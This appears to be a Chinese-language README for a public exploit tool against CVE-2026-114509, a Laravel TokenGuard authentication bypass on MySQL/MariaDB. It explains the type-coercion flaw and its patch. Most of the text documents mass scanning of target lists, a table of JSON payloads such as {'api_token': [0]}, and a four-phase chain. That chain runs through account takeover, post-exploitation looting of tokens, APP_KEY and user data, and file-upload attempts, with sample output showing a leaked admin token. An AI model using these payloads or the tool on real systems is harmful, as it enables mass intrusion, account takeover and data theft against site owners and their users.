Laravel TokenGuard 通过非字符串 API 凭据实现身份验证绕过
Laravel 框架中的未认证身份验证绕过 — TokenGuard API 守卫
CVE-2026-114509 是 Laravel 框架内置 TokenGuard 中的一个严重身份验证绕过漏洞。
当在 MySQL 或 MariaDB 上配置标准的基于令牌的 API 守卫时,未认证的攻击者可以提交一个精心构造的非字符串凭据(JSON 数组),导致身份验证查询匹配到一个非预期的现有用户——从而在不知道任何有效 API 令牌的情况下获得完全访问权限。
这会导致任何受受影响守卫保护的路由上的完整账户接管。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| 受影响软件 | Laravel Framework (laravel/framework) |
| 受影响版本 | < 12.68.0 和 >= 13.0.0, < 13.29.0 |
| 类型 | 身份验证绕过 |
| CWE | CWE-287 — 身份验证不当 |
| CWE | CWE-1287 — 指定输入类型验证不当 |
| CVSS 4.0 评分 | 9.2 / 10 — 严重 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| 身份验证 | 无需认证(预认证) |
| 条件 | MySQL / MariaDB 后端 |
| 补丁 | v12.68.0 / v13.29.0 |
| 指标 | 值 | 含义 |
|---|---|---|
| 攻击向量 | 网络 | 可通过互联网远程利用 |
| 攻击复杂度 | 低 | 除 MySQL/MariaDB 外无特殊条件 |
| 攻击要求 | 存在 | 需要 MySQL/MariaDB 类型强制转换行为 |
| 所需权限 | 无 | 无需身份验证 |
| 用户交互 | 无 | 无需受害者操作 |
| 机密性 | 高 | 可完全读取已认证用户数据 |
| 完整性 | 高 | 可以被绕过用户身份修改数据 |
| 可用性 | 高 | 可通过账户接管破坏服务 |
这是一个位于 HTTP 请求解析、PHP 框架逻辑和 SQL 数据库行为边界处的类型混淆漏洞。三种普通行为共同作用形成了该漏洞:
TokenGuard 接受非字符串输入 — TokenGuard.php 中的 user() 方法使用 !empty($token) 而非 is_string($token) && !empty($token)。JSON 请求体可以将数组或整数作为令牌值提供。
EloquentUserProvider 构建 WHERE IN 查询 — 当 retrieveByCredentials() 接收到数组值时,它会生成 WHERE api_token IN (...) 而非 WHERE api_token = ...。
MySQL 类型强制转换 — MySQL 在比较时将字符串列转换为数字。整数 0 会匹配任何不以数字开头的字符串(大多数 API 令牌都是如此),因为 MySQL 会将这些字符串转换为 0.0。
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel 修补了 TokenGuard.php,添加了类型检查——如果 token 不是字符串,guard 会立即返回 null,并且永远不会调用用户提供程序:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
该工具支持两种模式:批量扫描和单目标深度探测。
扫描目标列表以查找该漏洞:
python CVE-2026-114509.py scan targets.txt
选项:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| 参数 | 默认值 | 描述 |
|---|---|---|
targets | (必填) | 包含目标 URL 的文件(每行一个) |
--threads | 60 | 并发线程数 |
--timeout | 12 | 请求超时时间(秒) |
目标文件格式(targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
未指定协议的目标默认使用
https://。
输出文件(在脚本目录中创建):
| 文件 | 内容 |
|---|---|
LV_DETECTED.txt | 所有检测到的 Laravel 应用 |
LV_BYPASS.txt | 已确认的认证绕过 |
LV_UPLOAD.txt | 上传尝试结果 |
LV_LOOT.txt | 提取的数据(令牌、电子邮件、APP_KEY、用户数据) |
使用详细输出对单一目标进行深度探测:
python CVE-2026-114509.py single https://target.com
选项:
python CVE-2026-114509.py single https://target.com --timeout 15
这会按顺序运行全部四个阶段,并输出详细信息:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified
该工具执行一个 4 阶段链:
| 阶段 | 描述 | 详情 |
|---|---|---|
| 阶段 1 | 🔍 Laravel 检测 | Cookie 指纹识别、.env 暴露、API 端点探测、调试工具 |
| 阶段 2 | 🔓 认证绕过 | 14 条 API 路由 × 3 个令牌键 × 6 个载荷 = 每个目标 252 种组合 |
| 阶段 3 | 📡 后利用 | 用户枚举、权限提升、令牌提取、管理面板发现 |
| 阶段 4 | 📤 文件上传 | 多部分上传、头像更新、JSON base64、存储 PUT、Livewire、签名 URL |
| 载荷 | 标签 | 机制 |
|---|---|---|
{"api_token": [0]} | [0] | 数组 → WHERE IN (0) → MySQL 类型强制转换匹配所有字符串令牌 |
{"api_token": [0, ""]} | [0,''] | 更宽泛的匹配 — 覆盖空令牌边界情况 |
{"api_token": 0} | int:0 | 原始整数 — 某些配置 |
{"api_token": [null]} | [null] | 数组中的 null |
{"api_token": [false]} | [false] | 布尔 false 强制转换 |
{"api_token": true} | bool:true | 布尔 true — 匹配 WHERE api_token = 1 |
本工具严格仅供教育目的和经授权的安全研究使用。
在未获得系统所有者明确书面许可的情况下,对系统使用本工具是违法的,并可能违反地方、国家和国际法律,包括但不限于**《计算机欺诈与滥用法》(CFAA)、《英国计算机滥用法》**以及其他司法管辖区的同等立法。
作者不承担任何责任,也不对本工具造成的任何滥用、损害或非法活动负责。使用本工具即表示您同意:
- 在测试任何目标之前,您已获得适当授权
- 您对自身行为承担全部责任
- 您将遵守所有适用法律和法规
- 您理解未经授权访问计算机系统属于刑事犯罪
负责任地使用。合乎道德地入侵。
作者:Khaled Alenazi
@Nxploited